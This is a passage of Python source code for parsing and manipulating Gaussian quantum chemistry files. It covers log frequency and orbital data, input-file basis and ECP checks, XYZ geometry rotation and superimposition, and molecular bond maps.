orbital on line {i}\\nFile:{self.name}\"\n\t\t\t\t\tassert self.list[i].lstrip().startswith(\"Alpha virt. eigenvalues --\"), error_b\n\t\t\t\t\tfor a in self.list[i].replace(\"Alpha virt. eigenvalues --\", \" \").replace(\"-\", \" -\").split():\n\t\t\t\t\t\torbitals.append(float(a))\n\t\t\t\tlumo.append(min(orbitals))\n\t\t\treturn lumo\n\t\texcept AssertionError:\n\t\t\treturn None\n\t\texcept ValueError as e:\n\t\t\tprint(f\"Error while looking for lumo energy on file {self.name}\\n{e}\")\n\t@functools.lru_cache(maxsize=1)\n\tdef\t_homolumo(self):\n\t\tif self.homo and self.lumo:\n\t\t\ttry:\n\t\t\t\tassert len(self.homo) == len(self.lumo), f\"Inconsistent orbitals on file:\\n{self.name}\"\n\t\t\t\treturn [a-b for a,b in zip(self.homo,self.lumo)]\n\t\t\texcept AssertionError:\n\t\t\t\treturn None\n\n\thomo = property(_homo)\n\tlumo = property(_lumo)\n\thomolumo = property(_homolumo)\n\traw_route_keys = property(_raw_route_keys)\n\traw_route = property(_raw_route)\n\tn_atoms = property(_n_atoms)\n\tnormal_termin = property(_normal_termin)\n\tcalc_type = property(_calc_type)\n\terror_msg = property(_error_msg)\n\tlast_log_abstract = property(_last_log_abstract)\n\tlast_freq = property(_last_freq)\n\txyz_from_dist_matrix = property(_xyz_from_dist_matrix)\n\tlast_muliken_spin_density = property(_last_muliken_spin_density)\n\tlast_internal_coord = property(_last_internal_coord)\n\tlast_muliken_charges = property(_last_muliken_charges)\n\tlast_chelpg_charges = property(_last_chelpg_charges)\n\tpop_analysis = property(_pop_analysis)\n\tnpa_analysis = property(_npa_analysis)\n\tlast_apt_charges = property(_last_apt_charges)\n\nclass LogAbstract:\n\tdef __init__(self,content):\n\t\tassert type(content) is list\n\t\tself.list = content\n\t\tself.version = None\n\t\tself.dipole = None\n\t\tself.img_freq = None\n\t\tself.hash_line = None\n\t\tfor i,a in enumerate(self.list):\n\t\t\ta = a.lstrip()\n\t\t\tif a.lstrip == \"\": print(\"Empty!\");continue\n\t\t\telif a.startswith(\"Version=\"): self.version = a.replace(\"Version=\",\"\")\n\t\t\telif a.startswith(\"#\"): self.hash_line = i\n\t\t\telif a.startswith(\"NImag=\"): self.img_freq = a.replace(\"NImag=0\",\"\")\n\t\t\telif a.startswith(\"DipoleDeriv=\"): self.img_freq = a.replace(\"DipoleDeriv=\",\"\")\n\t\t\telse: continue\n\tdef __str__(self):\n\t\treturn \"\\n\".join(self.list)\n\tdef read_strucure(self):\n\t\tcharge_mult = None\n\t\ttitle = None\n\t\tcoordinates = []\n\t\tfor i,a in enumerate(self.list[self.hash_line:]):\n\t\t\tif i > 5 and not coordinates: break\n\t\t\ta = a.split(\",\")\n\t\t\tif len(a) == 2 and not coordinates:\tcharge_mult = a; continue\n\t\t\tif len(a) == 4:\n\t\t\t\tif a[0] in elements and all(is_str_float(a[n]) for n in [1,2,3]):\n\t\t\t\t\tcoordinates.append(\"   \".join(a))\n\t\t\t\telif coordinates: break\n\t\t\telif coordinates: break\n\t\treturn charge_mult, XyzFile([self.list[0],str(len(coordinates)),title,*coordinates])\n\tdef charge_mult(self):\n\t\treturn self.read_strucure()[0]\n\tdef xyz_object(self):\n\t\treturn self.read_strucure()[1]\nclass LogFreq:\n\tdef __init__(self, content):\n\t\tassert type(content) is list\n\t\tself.list = content\n\t\tself.rows = []\n\t\tfor i,a in enumerate(self.list):\n\t\t\tif a.lstrip().startswith(\"Frequencies --\"):\n\t\t\t\ttry:\n\t\t\t\t\tassert self.list[i + 1].lstrip().startswith(\"Red. masses --\")\n\t\t\t\t\tassert self.list[i + 2].lstrip().startswith(\"Frc consts  --\")\n\t\t\t\t\tassert self.list[i + 3].lstrip().startswith(\"IR Inten    --\")\n\t\t\t\t\tself.rows.append(i-2)\n\t\t\t\texcept AssertionError:\n\t\t\t\t\tcontinue\n\t\tif not self.rows:\n\t\t\tself.n_atoms = 1\n\t\t\tself.block = []\n\t\telse:\n\t\t\tself.n_atoms = len(self.list) - self.rows[-1] - 7\n\t\t\tself.block = self.list[self.rows[0]:]\n\tdef __str__(self):\n\t\treturn \"\\n\".join(self.list)\n\t@functools.lru_cache(maxsize=1)\n\tdef frequencies(self):\n\t\treturn list(itertools.chain(*[i.split()[2:] for i in self.block[2::self.n_atoms+7]]))\n\t@functools.lru_cache(maxsize=1)\n\tdef ir_intensities(self):\n\t\treturn list(itertools.chain(*[i.split()[3:] for i in self.block[5::self.n_atoms+7]]))\n\t@functools.lru_cache(maxsize=1)\n\tdef displ_for_freq_idx(self,freq_idx):\n\t\tdispl = []\n\t\tfor num in range(self.n_atoms):\n\t\t\tdispl.append(list(itertools.chain(*[i.split()[2:] for i in self.block[7+num::self.n_atoms+7]])))\n\t\tdispl_for_freq_str = [a[freq_idx*3:freq_idx*3+3] for a in displ]\n\t\tdispl_for_freq_float = [[float(i) for i in b] for b in displ_for_freq_str]\n\t\treturn displ_for_freq_float\n\t@functools.lru_cache(maxsize=1)\n\tdef n_ifreq(self):\n\t\treturn str(len([b for b in self.frequencies() if float(b) < 0])) if self.frequencies() else \"No data\"\n\tdef ir_spectra(self,threshold = 20):\n\t\tpairs = []\n\t\tfor a,b in zip(self.frequencies(), self.ir_intensities()):\n\t\t\tif is_str_float(a) and is_str_float(b):\n\t\t\t\tpairs.append([float(a),float(b)])\n\t\tfor a,b in zip(sorted(pairs,key=lambda x: x[1], reverse=True), range(threshold)):\n\t\t\tprint(\"{:>10.1f}{:>10.1f}\".format(float(a[0]),float(a[1])))\n\t\tprint(\"---------\")\nclass DistMatrix:\n\tdef __init__(self,text):\n\t\tself.element = {}\n\t\tfor a in [b.split() for b in text]:\n\t\t\tidx = \"\".join(a[0:2])\n\t\t\tif len(a) > 2 and a[1] in elements:\n\t\t\t\tif idx in self.element:\n\t\t\t\t\tself.element[idx].extend([float(c) for c in a[2:]])\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tself.element[idx] = [float(c) for c in a[2:]]\n\t\tfor a in self.element:\n\t\t\tprint(a,self.element[a])\n\t\tself.dist_matrix = sorted(self.element.values(),key=lambda x: len(x))\n\t\tself.elem_vector = sorted(self.element.keys(), key=lambda x: len(self.element[x]))\n\t\tself.xyz_ent_a = []\n\t\tself.xyz_ent_b = []\n\t\tfor i,a in enumerate(self.dist_matrix):\n\t\t\tif i == 0:\n\t\t\t\tself.xyz_ent_a.append([0, 0, 0])\n\t\t\t\tself.xyz_ent_b.append([0, 0, 0])\n\t\t\tif i == 1:\n\t\t\t\tself.xyz_ent_a.append([a[0], 0, 0])\n\t\t\t\tself.xyz_ent_b.append([a[0], 0, 0])\n\t\t\tif i == 2:\n\t\t\t\tx = (self.dist_matrix[i-1][0]**2+a[0]**2-a[1]**2)/(2*self.dist_matrix[i-1][0])\n\t\t\t\ty = math.sqrt(a[1]**2-x**2)\n\t\t\t\tself.xyz_ent_a.append([x, y, 0])\n\t\t\t\tself.xyz_ent_b.append([x, y, 0])\n\t\t\tif i > 2:\n\t\t\t\tx = (self.dist_matrix[i-1][0]**2+a[0]**2-a[1]**2)/(2*self.dist_matrix[i-1][0])\n\t\t\t\ty = math.sqrt(a[1]**2-x**2)\n\t\t\t\t#z =\n\t\t\t\tself.xyz_ent_a.append([x, y, 0])\n\t\t\t\tself.xyz_ent_b.append([x, y, 0])\nclass GjfFile:\n\tpattern = re.compile(r\"[0-9][0-9][Gg]\\+\")\n\tdef __init__(self,file_content):\n\t\tself.list = file_content\n\t\tself.list_l = [a.split() for a in file_content]\n\t\tself.str_l = [a.replace(\" \", \"\") for a in self.list]\n\t\tself.return_print = \"\\n\".join(self.list[1:])\n\t\t#########################\n\t\t#########################\n\t\tself.empty_line_idxs = [i for i,a in enumerate(self.list) if a.split() == []]\n\t\tself.asterisk_line_idxs = [idx for idx,line in enumerate(self.list) if line.split() == [\"****\"]]\n\t\tself.link_one_idxs = [i for i,l in enumerate(self.list) if \"--link1--\" in l.lower()]\n\n\t@functools.lru_cache(maxsize=1)\n\tdef name(self):\n\t\tif len(self.list[0]) == 0: raise Exception(\".gjf or .com object has no name\")\n\t\tassert type(self.list[0]) is str, \"Name must be string\"\n\t\treturn self.list[0]\n\t@functools.lru_cache(maxsize=1)\n\tdef charge(self):\n\t\treturn int(self.list[self.c_m_idx()].split()[0])\n\t@functools.lru_cache(maxsize=1)\n\tdef multiplicity(self):\n\t\treturn int(self.list[self.c_m_idx()].split()[1])\n\t@functools.lru_cache(maxsize=1)\n\tdef n_electrons(self):\n\t\treturn sum(elements.index(e) for e in self.all_elements()) - self.charge()\n\t@functools.lru_cache(maxsize=1)\n\tdef n_atoms(self):\n\t\treturn len(self.all_elements())\n\t@functools.lru_cache(maxsize=1)\n\tdef all_elements(self):\n\t\treturn [line[0] for line in self.cord_block()]\n\t@functools.lru_cache(maxsize=1)\n\tdef elements(self):\n\t\treturn list(dict.fromkeys(self.all_elements()))\n\t@functools.lru_cache(maxsize=1)\n\tdef c_m_validate(self):\n\t\treturn not self.n_electrons()%2 == self.multiplicity()%2\n\t@functools.lru_cache(maxsize=1)\n\tdef c_m_validate_txt(self):\n\t\treturn \"Yes\" if self.c_m_validate() else \"--NO!--\"\n\t@functools.lru_cache(maxsize=1)\n\tdef n_proc(self):\n\t\tfor line in self.list:\n\t\t\tline = line.lower().replace(\" \",\"\")\n\t\t\tif \"%nprocshared=\" in line:\treturn int(line.replace(\"%nprocshared=\",\"\"))\n\t\t\telif \"%nproc=\" in line:\treturn int(line.replace(\"%nproc=\",\"\"))\n\t@functools.lru_cache(maxsize=1)\n\tdef cord_block(self):\n\t\tcoordinates = []\n\t\tfor line in self.list_l[self.c_m_idx()+1:]:\n\t\t\tif len(line) == 0: break\n\t\t\tif len(line) != 4: continue\n\t\t\tif line[0] in elements:\tcoordinates.append(line)\n\t\t\telse: coordinates.append([elements[int(line[0])],*line[0:]])\n\t\treturn coordinates\n\t@functools.lru_cache(maxsize=1)\n\tdef route_text(self):\n\t\tflatten = lambda l: [item for sublist in l for item in sublist]\n\t\ttry: return \" \".join(flatten([a.split() for a in self.list[self.route_idx():self.title_idx()]]))\n\t\texcept: return \"No data\"\n\t@functools.lru_cache(maxsize=1)\n\tdef c_m_idx(self):\n\t\tif len(self.list[self.title_idx()+2].split()) < 2:\n\t\t\traise Exception(\"Did you provide charge and multiplicity data at line {} of file {}?\".format(self.title_idx()+1,self.name()))\n\t\treturn self.title_idx()+2\n\t@functools.lru_cache(maxsize=1)\n\tdef end_cord_idx(self):\n\t\tfor idx,line in enumerate(self.list):\n\t\t\tif idx < self.c_m_idx(): continue\n\t\t\tif line.split() == []: return idx+1\n\t#########################\n\t#########################\n\t@functools.lru_cache(maxsize=1)\n\tdef route_idx(self):\n\t\tfor idx,line in enumerate(self.list):\n\t\t\tif line.strip().startswith(\"#\"):return idx\n\t\traise Exception(\"A route section (#) should be specified for .gjf or .com files\")\n\t@functools.lru_cache(maxsize=1)\n\tdef title_idx(self):\n\t\tfor idx,line in enumerate(self.list):\n\t\t\tif idx > self.route_idx() and line.split() == []: return idx+1\n\t@functools.lru_cache(maxsize=1)\n\tdef gen_basis(self):\n\t\treturn any(i in self.route_text().lower() for i in [\"/gen\", \"gen \",\"genecp\"])\n\t@functools.lru_cache(maxsize=1)\n\tdef declared_basis_lines(self):\n\t\tif not self.gen_basis(): return None\n\t\tidxs = [i+1 for idx,i in enumerate(self.asterisk_line_idxs) if i < self.asterisk_line_idxs[-1]]\n\t\tidxs.insert(0,max(i+1 for i in self.empty_line_idxs if  i < self.asterisk_line_idxs[-1]))\n\t\treturn idxs\n\t@functools.lru_cache(maxsize=1)\n\tdef declared_basis(self):\n\t\te_w_b = [self.list[i].split()[:-1] for i in self.declared_basis_lines()]\n\t\treturn [j.capitalize() for i in e_w_b for j in i]\n\t@functools.lru_cache(maxsize=1)\n\tdef basis_errors(self):\n\t\tif not self.gen_basis(): return []\n\t\t#errors\n\t\tzero_last = any(self.list[i].split()[-1] == \"0\" for i in self.declared_basis_lines())\n\t\tmiss_basis = [a for a in self.elements() if a not in self.declared_basis()]\n\t\tsurpl_basis = [a for a in self.declared_basis() if a not in self.elements()]\n\t\trep_basis = list(dict.fromkeys([a for a in self.declared_basis() if self.declared_basis().count(a) > 1]))\n\t\terrors = []\n\t\tfor i in [*[a+1 for a in self.declared_basis_lines()],self.route_idx()]:\n\t\t\tif GjfFile.pattern.search(self.list[i]):\n\t\t\t\terrors.append(\"Is the basis set specifications correct?\".format(i))\n\t\t\t\terrors.append(\"{}\".format(self.list[i]))\n\t\t\t\terrors.append(\"Shouldn't '+' appear before the letter 'G'?\")\n\t\t#statements\n\t\tif not zero_last:errors.append(\"Missing zero at the end of basis set specification?\")\n\t\tif miss_basis:errors.append(\"Missing basis for: {} ?\".format(\" \".join(miss_basis)))\n\t\tif surpl_basis:errors.append(\"Surplous basis for: {} ?\".format(\" \".join(surpl_basis)))\n\t\tif rep_basis:errors.append(\"Repeated basis for: {} ?\".format(\" \".join(rep_basis)))\n\t\treturn errors\n\t@functools.lru_cache(maxsize=1)\n\tdef gen_ecp(self):\n\t\treturn any(i in self.route_text().lower() for i in [\"pseudo\", \"genecp\"])\n\t@functools.lru_cache(maxsize=1)\n\tdef declared_ecp_lines(self):\n\t\tline_idx = []\n\t\tif not self.gen_ecp(): return None\n\t\tif self.gen_basis(): start_idx = self.declared_basis_lines()[-1] + 1\n\t\telse:start_idx = self.end_cord_idx()\n\t\tfor idx,line in enumerate(self.list):\n\t\t\tif idx < start_idx: continue\n\t\t\tif len(line.split()) <= 1: continue\n\t\t\tif line.split()[-1] != \"0\": continue\n\t\t\tif all(True if a.capitalize() in elements else False for a in line.split()[:-1]): line_idx.append(idx)\n\t\treturn line_idx\n\t@functools.lru_cache(maxsize=1)\n\tdef declared_ecp(self):\n\t\tecps = [self.list[i].split()[:-1] for i in self.declared_ecp_lines()]\n\t\treturn [j.capitalize() for i in ecps for j in i]\n\t@functools.lru_cache(maxsize=1)\n\tdef ecp_errors(self,heavy_e = 36):\n\t\tif not self.gen_ecp(): return []\n\t\t#errors\n\t\tzero_last = any(self.list[i].split()[-1] == \"0\" for i in self.declared_ecp_lines())\n\t\tmiss_ecp = [a for a in self.elements() if a not in self.declared_ecp() and elements.index(a) > heavy_e]\n\t\tsurpl_ecp = [a for a in self.declared_ecp() if a not in self.elements()]\n\t\trep_ecp = list(dict.fromkeys([a for a in self.declared_ecp() if self.declared_ecp().count(a) > 1]))\n\t\t#statements\n\t\terrors = []\n\t\tif not zero_last:errors.append(\"Missing zero at the end of ecp set specification?\")\n\t\tif miss_ecp:errors.append(\"Missing ecp for: {} ?\".format(\" \".join(miss_ecp)))\n\t\tif surpl_ecp:errors.append(\"Surplous ecp for: {} ?\".format(\" \".join(surpl_ecp)))\n\t\tif rep_ecp:errors.append(\"Repeated ecp for: {} ?\".format(\" \".join(rep_ecp)))\n\t\treturn errors\n\t@functools.lru_cache(maxsize=1)\n\tdef route_errors(self):\n\t\terrors = []\n\t\tkeywords = self.route_text().lower().split()\n\t\tif len(keywords) > 1:\n\t\t\tif \"nosymm\" in \tkeywords:\n\t\t\t\tif keywords[0] == \"#t\" or keywords[0:2] == [\"#\",\"t\"]:\n\t\t\t\t\terrors.append(\"Combination of 'NoSymm' and '#T' might supress geometry output!\")\n\t\treturn errors\n\n\n\t@functools.lru_cache(maxsize=1)\n\tdef mem(self):\n\t\tfor line in self.list:\n\t\t\tline = line.lower().replace(\" \",\"\")\n\t\t\tif line.startswith(\"%mem=\") and line.endswith(\"mb\"): return int(line[5:-2])\n\t\t\telif line.startswith(\"%mem=\") and line.endswith(\"gb\"): return 1000*int(line[5:-2])\n\t\treturn None\n\t#########################\n\t#########################\n\tdef replace_cord(self, xyz_obj):\n\t\tnew = []\n\t\tfor line in self.list[0:self.c_m_idx() + 1]: new.append(line)\n\t\tfor line in xyz_obj.form_cord_block(): new.append(line)\n\t\tfor line in self.list[self.end_cord_idx()-1:]: new.append(line)\n\t\treturn GjfFile(new)\n\tdef xyz_obj(self):\n\t\treturn XyzFile([self.name(),self.n_atoms(),\" \",*[\" \".join(a) for a in self.cord_block()]])\nclass XyzFile:\n\tdef __init__(self,file_content):\n\t\tself.list = file_content\n\t\tif len(self.list) < 2: raise Exception(\".xyz Object is empty?\")\n\t\telif not (str(self.list[1]).strip().isdigit() and len(str(self.list[1]).split()) == 1):\n\t\t\tprint(\"{} is not a proper .xyz file\\nAttempting to read it anyway!\".format(self.list[0]))\n\t\t\ttry_xyz = []\n\t\t\tfor line in self.list:\n\t\t\t\tline = line.split()\n\t\t\t\tif len(line) != 4: continue\n\t\t\t\tif not all(is_str_float(line[i]) for i in range(1, 4)): continue\n\t\t\t\tif line[0] in elements[0:]:\n\t\t\t\t\ttry_xyz.append(\" \".join(line))\n\t\t\t\t\tcontinue\n\t\t\t\ttry:\n\t\t\t\t\tline[0] = elements[int(line[0])]\n\t\t\t\t\ttry_xyz.append(\" \".join(line))\n\t\t\t\texcept:\n\t\t\t\t\traise Exception(\"Could not understand file {}\".format(self.list[0]))\n\t\t\ttry_xyz.insert(0,len(try_xyz))\n\t\t\ttry_xyz.insert(1,\" \")\n\t\t\ttry_xyz.insert(0,self.list[0])\n\t\t\tself.list = try_xyz\n\t\tself.list_l = [str(a).split() for a in self.list]\n\t\t#self.molecule.print_int_bond_map()\n\tdef __add__(self,other):\n\t\tassert type(self) == type(other), \"Operation '+' allowed only for two XYZ objects\"\n\t\tnew = [os.path.splitext(self.name())[0]+\"_\"+other.name(), str(self.n_atoms()+other.n_atoms()),\n\t\t\t   self.title()+\" \"+other.title(),*(self.form_cord_block() + other.form_cord_block())]\n\t\treturn XyzFile(new)\n\tdef __sub__(self, other):\n\t\tel_a = self.all_elements()\n\t\tel_b = other.all_elements()\n\t\tassert len(el_a) > len (el_b), \"Can't subtract a larger structure from a smaller one\"\n\t\tassert type(self) == type(other), \"Operation '-' allowed only for two XYZ objects\"\n\t\tidxs_to_rem = []\n\t\tfor n in range(len(el_a) - len(el_b)):\n\t\t\tif all([True if el_a[n+i] == a else False for i,a in enumerate(el_b)]):\n\t\t\t\tidxs_to_rem = [c+n for c in range(len(el_b))]\n\t\t\t\tbreak\n\t\tif len(idxs_to_rem) ==  0: print(\"Could not subtract value!\")\n\t\txyz_cord = [a for idx,a in enumerate(self.form_cord_block()) if idx not in idxs_to_rem]\n\t\tnew = [os.path.splitext(self.name())[0]+\"-\"+other.name(), str(self.n_atoms()-other.n_atoms()),\n\t\t\t   self.title()+\"-\"+other.title(),*xyz_cord]\n\t\treturn XyzFile(new)\n\tdef __str__(self):\n\t\treturn \"\\n\".join(self.return_print())\n\t@functools.lru_cache(maxsize=1)\n\tdef name(self):\n\t\tif len(self.list[0]) == 0: raise Exception(\".xyz Object has no name\")\n\t\treturn self.list[0]\n\t@functools.lru_cache(maxsize=1)\n\tdef n_atoms(self):\n\t\tif any([len(str(self.list[1]).split()) != 1, not str(self.list[1]).isnumeric()]):\n\t\t\traise Exception(\"First line of {} (.xyz type) file should contain only the number of atoms in the geometry!\".format(self.name()))\n\t\treturn int(self.list[1])\n\t@functools.lru_cache(maxsize=1)\n\tdef title(self):\n\t\treturn self.list[2]\n\t@functools.lru_cache(maxsize=1)\n\tdef cord_block(self):\n\t\tcordinates = []\n\t\tfor idx,line in enumerate(self.list_l):\n\t\t\tif idx <= 2: continue\n\t\t\tif idx >= self.n_atoms() + 3: continue\n\t\t\tif line[0] in elements:\tcordinates.append(line)\n\t\t\telse: cordinates.append([elements[int(line[0])],*line[0:]])\n\t\treturn cordinates\n\t@functools.lru_cache(maxsize=1)\n\tdef form_cord_block(self):\n\t\treturn [\"{:<5}{:>20.6f}{:>20.6f}{:>20.6f}\".format(x[0], *[float(x[a]) for a in [1, 2, 3]]) for x in self.cord_block()]\n\t@functools.lru_cache(maxsize=1)\n\tdef cord_strip(self):\n\t\treturn [line[1:] for line in self.cord_block()]\n\t@functools.lru_cache(maxsize=1)\n\tdef all_elements(self):\n\t\treturn [line[0] for line in self.cord_block()]\n\t@functools.lru_cache(maxsize=1)\n\tdef elements(self):\n\t\treturn list(dict.fromkeys(self.all_elements()))\n\t@functools.lru_cache(maxsize=1)\n\tdef n_electrons(self):\n\t\treturn sum(elements.index(e) for e in self.all_elements())\n\t@functools.lru_cache(maxsize=1)\n\tdef return_print(self):\n\t\treturn [str(self.n_atoms()),self.title(),*[l for l in self.form_cord_block()]]\n\tdef print_file(self):\n\t\tprint(\"======={}=======\".format(self.name()))\n\t\tprint(\"=======START=======\")\n\t\tprint(\"\\n\".join([l for l in self.return_print()]))\n\t\tprint(\"========END========\")\n\tdef save_file(self,directory=None):\n\t\tif directory is None:\n\t\t\tfile_path = os.path.splitext(os.path.join(os.getcwd(),self.name().replace(\" \",\"\")))[0]+\".xyz\"\n\t\telse:\n\t\t\tfile_path = os.path.splitext(os.path.join(directory,self.name().replace(\" \",\"\")))[0]+\".xyz\"\n\t\tif os.path.exists(file_path):\n\t\t\tprint(\"File {} already exists!\".format(os.path.splitext(os.path.basename(file_path))[0] + \".xyz\"))\n\t\t\treturn\n\t\twith open(file_path,\"w\") as file:\n\t\t\tfor line in self.return_print():file.write(str(line)+\"\\n\")\n\t\tprint(\"File {} saved!\".format(os.path.splitext(os.path.basename(file_path))[0] + \".xyz\"))\n\tdef print_all(self):\n\t\tprint(\"\\n\".join([l for l in self.list]))\n\tdef displace(self,mult,displacement):\n\t\tcord_block = [[a,*[float(b[n])-c[n]*mult for n in range(3)]] for a,b,c in zip(self.all_elements(),self.cord_strip(),displacement)]\n\t\tcord_block = [\" \".join([str(i) for i in l]) for l in cord_block]\n\t\treturn XyzFile([self.name(),self.n_atoms(),self.title(),*cord_block])\n\tdef rotate(self, angle, axis):\n\t\t\"takes xyz object and returns xyz object rotated by angle over axis\"\n\t\tassert axis in (\"x\", \"y\", \"z\"), \"Only 'x','y' or 'z' axis are suported\"\n\t\tif axis == \"x\":\n\t\t\tm_mat = [[1., 0., 0.], [0., math.cos(angle), -math.sin(angle)], [0., math.sin(angle), math.cos(angle)]]\n\t\tif axis == \"y\":\n\t\t\tm_mat = [[math.cos(angle), 0., math.sin(angle)], [0., 1., 0.], [-math.sin(angle), 0., math.cos(angle)]]\n\t\tif axis == \"z\":\n\t\t\tm_mat = [[math.cos(angle), -math.sin(angle), 0.], [math.sin(angle), math.cos(angle), 0.], [0., 0., 1.]]\n\t\tm_mat = np.array(m_mat, np.float64)\n\t\trotated = np.array([i[1:4] for i in self.cord_block()], np.float64).transpose()\n\t\trotated = np.matmul(m_mat,rotated).transpose()\n\t\trotated = np.ndarray.tolist(rotated)\n\t\trotated = [[b,*[str(n) for n in a]] for b,a in zip(self.all_elements(),rotated)]\n\t\txyz_mat = [self.name(), self.n_atoms(),\" \",*[\" \".join(a) for a in rotated]]\n\t\treturn XyzFile(xyz_mat)\n\tdef superimpose(self, other, num_atoms=0, print_step=False, ret = \"geom\",conv=18):\n\t\t\"\"\"Takes xyz object and returns xyz object rotated by angle over axis.\n\t\tReturns either the max_distance 'max_d' or final geometry 'geom' after rotations and superpositions\"\"\"\n\t\tdef rotate(xyz,angle,axis):\n\t\t\tassert axis in (\"x\",\"y\",\"z\"), \"Only 'x','y' or 'z' axis are suported\"\n\t\t\tif axis == \"x\":\n\t\t\t\tm_mat = [[1., 0., 0.], [0., math.cos(angle), -math.sin(angle)], [0., math.sin(angle), math.cos(angle)]]\n\t\t\tif axis == \"y\":\n\t\t\t\tm_mat = [[math.cos(angle), 0., math.sin(angle)], [0., 1., 0.], [-math.sin(angle), 0., math.cos(angle)]]\n\t\t\tif axis == \"z\":\n\t\t\t\tm_mat = [[math.cos(angle), -math.sin(angle), 0.], [math.sin(angle), math.cos(angle), 0.], [0., 0., 1.]]\n\t\t\tm_mat = np.array(m_mat, np.float64)\n\t\t\trotated = np.array(xyz, np.float64).transpose()\n\t\t\trotated = np.matmul(m_mat,rotated).transpose()\n\t\t\treturn np.ndarray.tolist(rotated)\n\t\tdef calc_err(xyz_1, xyz_2, n_atms):\n\t\t\tn_atms = len(xyz_1) if n_atms == 0 else n_atms\n\t\t\tsq_dist = sum(sum(math.pow(c-d,2) for c,d in zip(a,b)) for a,b in zip(xyz_1[:n_atms],xyz_2))\n\t\t\treturn math.sqrt(sq_dist / n_atms)\n\t\tdef max_dist(xyz_a, xyz_b):\n\t\t\treturn max(math.sqrt(sum(pow(c-d,2) for c,d in zip(a,b))) for a,b in zip(xyz_a,xyz_b))\n\t\t#----------------------\n\t\tlast_error = None\n\t\txyz_1 = [[float(a) for a in b] for b in other.std_cord(num_atoms).cord_strip()]\n\t\txyz_2 = [[float(a) for a in b] for b in self.std_cord(num_atoms).cord_strip()]\n\t\t#Check atom correspondence\n\t\tfor a,b,c in zip(range(len(self.all_elements()) if num_atoms == 0 else num_atoms),other.all_elements(),self.all_elements()):\n\t\t\tif b != c:\n\t\t\t\tatom_number = 'th' if 11<=a+1<=13 else {1:'st',2:'nd',3:'rd'}.get((a+1)%10, 'th')\n\t\t\t\tprint(\"WARNING: {}{} atom pair doesn't not correspond to an element match: {} & {}\".format(a+1,atom_number,b,c))\n\t\tif print_step: print(\"======ACTIONS======\")\n\t\t#Start algorithm\n\t\tfor num in range(conv):\n\t\t\tstep_size = 1 / 2 ** num\n\t\t\twhile True:\n\t\t\t\trot = [[1, \"x\"], [1, \"y\"], [1, \"z\"], [-1, \"x\"], [-1, \"y\"], [-1, \"z\"]]\n\t\t\t\tmovements = [rotate(xyz_2, step_size * i[0], i[1]) for i in rot]\n\t\t\t\tif ret == \"max_d\":\n\t\t\t\t\tlast_error = max_dist(xyz_2, xyz_1)\n\t\t\t\t\terrors = [max_dist(i, xyz_1) for i in movements]\n\t\t\t\telse:\n\t\t\t\t\tlast_error = calc_err(xyz_2, xyz_1, num_atoms)\n\t\t\t\t\terrors = [calc_err(i, xyz_1, num_atoms) for i in movements]\n\t\t\t\tbest_m = errors.index(min(errors))\n\t\t\t\tif min(errors) < last_error:\n\t\t\t\t\txyz_2 = movements[best_m]\n\t\t\t\t\tif print_step:\n\t\t\t\t\t\tmsg = [step_size * rot[best_m][0], rot[best_m][1], calc_err(xyz_1, xyz_2, num_atoms)]\n\t\t\t\t\t\tprint(\"Rotating {:.5f} radian in {}. RMSD = {:.5f}\".format(*msg))\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tif ret == \"max_d\" and max_dist(xyz_1, xyz_2) < 0.1:\n\t\t\t\t\t\treturn True\n\t\t\t\t\tbreak\n\t\tif print_step: print(\"Final RMSD = {:.5f}\".format(calc_err(xyz_1, xyz_2, num_atoms)))\n\t\tif print_step: print(\"========END========\")\n\t\tif ret == \"geom\":\n\t\t\tcord_block = [\" \".join([a,*[str(n) for n in b]]) for a,b in zip(self.all_elements(),xyz_2)]\n\t\t\treturn XyzFile([self.name(),self.n_atoms(),self.title(),*cord_block])\n\t\telif ret == \"max_d\":\n\t\t\treturn False\n\tdef std_cord(self, n_atoms=0):\n\t\tpure_cord = self.cord_strip() if n_atoms == 0 else self.cord_strip()[0:n_atoms]\n\t\txyz_avg = [[float(n) for n in i] for i in pure_cord]\n\t\txyz_avg = [sum([i[n] for i in xyz_avg]) / len(xyz_avg) for n in range(3)]\n\t\txyz_avg = [[float(i[n]) - xyz_avg[n] for n in range(3)] for i in self.cord_strip()]\n\t\txyz_avg = [[str(n) for n in a] for a in xyz_avg]\n\t\txyz_avg = [\" \".join([b,*a]) for b,a in zip(self.all_elements(),xyz_avg)]\n\t\txyz_mat = [self.name(), self.n_atoms(), \" \", *xyz_avg]\n\t\treturn XyzFile(xyz_mat)\n\tdef enantiomer(self):\n\t\txyz = [\" \".join([*a[0:-1],str(-float(a[-1]))]) for a in self.cord_block()]\n\t\txyz_mat = [os.path.splitext(self.name())[0]+\"_ent.xyz\", self.n_atoms(), \" \", *xyz]\n\t\treturn XyzFile(xyz_mat)\n\tmolecule = property(lambda self: Molecule(self.cord_block()))\nclass Molecule:\n\tdef __init__(self,atom_list):\n\t\tassert type(atom_list) is list\n\t\tself.atom_list = [Atom(a,i) for i,a in enumerate(atom_list)]\n\t\tself.abc_angle(0,1,2)\n\t\tself.n_mol_ent()\n\tdef __str__(self):\n\t\treturn \"\\n\".join([str(a) for a in self.atom_list])\n\tdef int_bond_map(self):\n\t\treturn [[b.int_bond_order(a) if a != b and b.int_bond_order(a) > 0.85 else None for a in self.atom_list] for b in self.atom_list]\n\tdef ts_bond_map(self):\n\t\treturn [[b.ts_bond_order(a) if a != b and b.int_bond_order(a) > 0.85 else None for a in self.atom_list] for b in self.atom_list]\n\tdef print_int_bond_map(self):\n\t\tfor a in self.atom_list:\n\t\t\tbonded = [\"{:>3}{:>2}:{:.1f}\".format(b.idx,b.element, b.int_bond_order(a)) for b in self.atom_list if a != b and b.int_bond_order(a) > 0.1]\n\t\t\tprint(\"{:>3}{:>2}\".format(a.idx,a.element),\"-->\",\", \".join(bonded))\n\tdef print_ts_bond_map(self):\n\t\tfor a in self.atom_list:\n\t\t\tbonded = [\"{:>3}{:>2}:{:.1f}\".format(b.idx,b.element, b.ts_bond_order(a)) for b in self.atom_list if a != b and b.ts_bond_order(a) > 0.1]\n\t\t\tprint(\"{:>3}{:>2}\".format(a.idx,a.element),\"-->\",\", \".join(bonded))\n\tdef n_mol_ent(self, map=None):\n\t\tif map is None: map = self.int_bond_map()\n\t\tvisited = [False for _ in map]\n\t\tn_entities = 0\n\t\tentities = []\n\t\tdef check(idx,atoms=[]):\n\t\t\tvisited[idx] = True\n\t\t\tatoms.append(idx)\n\t\t\tfor ib, b in 